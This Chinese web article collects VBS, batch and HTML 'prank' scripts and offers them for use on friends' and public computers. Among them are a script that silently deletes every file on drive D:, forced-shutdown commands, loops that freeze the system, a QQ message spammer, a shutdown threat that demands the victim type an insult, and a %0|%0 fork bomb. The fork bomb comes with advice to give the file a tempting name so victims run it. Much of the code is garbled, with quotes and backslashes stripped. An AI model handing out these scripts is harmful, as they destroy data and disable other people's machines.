一些整人简单编程代码(简单整人bat代码)
老铁们，大家好，相信还有很多朋友对于一些整人简单编程代码和简单整人bat代码的相关问题不太懂，没关系，今天就由我来为大家分享分享一些整人简单编程代码以及简单整人bat代码的问题，文章篇幅可能偏长，希望可以帮助到大家，下面一起来看看吧！
整人代码大全
1、【代码一】
你打开好友的聊天对话框,然后记下在你QQ里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。
代码如下：
On Error Resume Next
Dim wsh,ye
set wsh=createobject(wscript.shell)
for i=1 to 10
wscript.sleep 700
wsh.AppActivate(与 xx聊天中)
wsh.sendKeys ^v
wsh.sendKeys i
wsh.sendKeys%s
next
wscript.quit
2、【代码二】
我就用这个程序放在学校图书馆查询书刊的机器上，好多人都拿它没办法。
do
msgbox You are foolish!
loop
3、【代码三】
打开无数个计算器，直到死机。
set wsh=createobject(wscript.shell)
do
wsh.run calc
loop
4、【代码四】
直接关机。
dim WSHshell
set WSHshell= wscript.createobject(wscript.shell)
WSHshell.run shutdown-f-s-t 00,0,true
5、【代码五】
删除D:所有文件。
dim WSHshell
set WSHshell= wscript.createobject(wscript.shell)
WSHshell.run cmd/c del d:*.*/ f/q/s,0,true
6、【代码六】
不断弹出窗口
while(1)
msgbox哈哈你被耍了！
loop
7、【代码七】
不断按下alt+f4（开什么都关闭）。
dim WSHshell
set WSHshell= wscript.createobject(wscript.shell)
while(1)
WSHshell.SendKeys%{F4}
loop
8、【代码八】
按500次回车（以上代码在运行者的电脑上显示500个对话框。其中 do until s=500，500可以随意更改）。
dim s
do until s=500
s=s+1
msgbox哥们，给我按500次回车吧,64
loop
9、【代码九】
如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的
时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法。代码如下:
on error resume next
dim WSHshellA
set WSHshellA= wscript.createobject(wscript.shell)
WSHshellA.run cmd.exe/c shutdown-r-t 180-c说我是猪，不说我是猪就一分钟关机，不信，试下,0,true
dim a
do while(a
我是猪)
a= inputbox(说我是猪,就不关机，快撒，说我是猪,说不说,,8000,7000)
msgbox chr(13)+ chr(13)+ chr(13)+ a,0,MsgBox
loop
msgbox chr(13)+ chr(13)+ chr(13)+早说就行了嘛
dim WSHshell
set WSHshell= wscript.createobject(wscript.shell)
WSHshell.run cmd.exe/c shutdown-a,0,true
msgbox chr(13)+ chr(13)+ chr(13)+哈哈哈哈，好乖
10、【代码十】
网页整人效果代码，想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
html
head
meta http-equiv=Content-Type content=text/html; charset=gb2312
title网页特效|Linkweb.cn/Js|---很恶心的常见整人效果/title
/head
body
a href= onMouseover=alert(为什么把鼠标放到这里?);
alert(我不是说过不可以这样吗？);
alert(你把我的话当什么了？);
alert(你知道错了吗？);
alert(什么？你居然....);
alert(居然还没意识到自己做错了？);
alert(那好，你要为此付出代价!);
alert(我要你在这里点足一千下......);
alert(什么？你开始有点后悔了？);
alert(何必呢？);
alert(你当初干什么去了？);
alert(不原谅你！);
alert(好从现在开始再点995下......);
alert(你的手开始累了吗?);
alert(什么？你已经没力气了？);
alert(你一直在求我原谅你啊！);
alert(看来你是真的知道错了!);
alert(下次你还会这么做吗？);
alert(真的不会了？);
alert(那好，今天就放你一马！);
alert(写封信给我说声对不起!);
alert(你能这么做我很高兴!!!);
document.bgColor=black;
document.fgColor=White;
window.location.href=mailto:mygod@god?subject=对不起,下次不敢了!;不许把鼠标移到这里/a
/body
/html
求一些好玩的整人代码
.bat文件
【测试平台】32bit XP
【功能】让电脑死机
-----代码开始------
%0|%0
-----代码结束------
使用方法：
1、新建个文档【别告我你不会】
2、复制粘贴那段代码
3、保存为XXXXX.bat【XXXXX为随意名字，比如刷钻什么的，怎么诱惑怎么写】
4、运行【再次警告，该代码执行后无法通过任务管理器结束，只能重启或者等他死机然后重启】
【郑重警告！】
最好别拿自己电脑测试，否则后果自负，也别没看该警告就去举报我！由此代码造成的一切后果不承担一切责任！【被朋友打自负……😜】
【代码原理】
通过不停的调用cmd.exe造成系统资源消耗，理论CPU越好，资源消耗越快，死机越快。【双核笔记本实测2分钟之内准死机】
vbs整人代码_vbs整人关机代码不管用_vbs简单代码
本篇文章集合了多款VBS整人代码，旨在娱乐而非恶意破坏。以下为具体代码及其用途：
一、发送定制次数的QQ信息给好友。
复制代码如下：
On Error Resume Next
Dim wsh,ye
Set wsh=createobject("wscript.shell")
For i=1 to 10
WScript.Sleep 700
Wsh.AppActivate("与 xx聊天中")
Wsh.SendKeys"^v"
Wsh.SendKeys i
Wsh.SendKeys"%s"
Next
Wscript.Quit
此代码可根据需要调整发送次数，用于恶作剧或娱乐。
二、持续弹出“你真愚蠢！”的对话框。
复制代码如下：
Do
MsgBox"You are foolish!"
Loop
通过此代码，可实现持续弹窗，增添趣味性。
三、打开无数个计算器，直至系统资源耗尽。
复制代码如下：
Do
Wsh.Run"calc"
Loop
通过不断启动计算器程序，达到消耗系统资源、直至死机的目的。
四、直接执行关机命令。
复制代码如下：
Dim WSHshell
Set WSHshell= wscript.createobject("wscript.shell")
WshShell.Run"shutdown-f-s-t 00",0,true
此代码执行关机操作，需谨慎使用，避免造成不便。
五、删除指定目录下的所有文件。
复制代码如下：
Dim WSHshell
Set WSHshell= wscript.createobject("wscript.shell")
WshShell.Run"cmd/c""del d:\*.*/ f/q/s""",0,true
执行此操作时应确保了解其影响，并避免误删重要文件。
六、不断弹出对话框。
复制代码如下：
While(1)
MsgBox"哈哈你被耍了！"
此代码持续弹出对话框，用于恶作剧或增添娱乐性。
以上代码均需在谨慎情况下使用，旨在娱乐而非恶意破坏他人设备或系统。请在使用前充分考虑其潜在影响。
好了，文章到此结束，希望可以帮助到大家。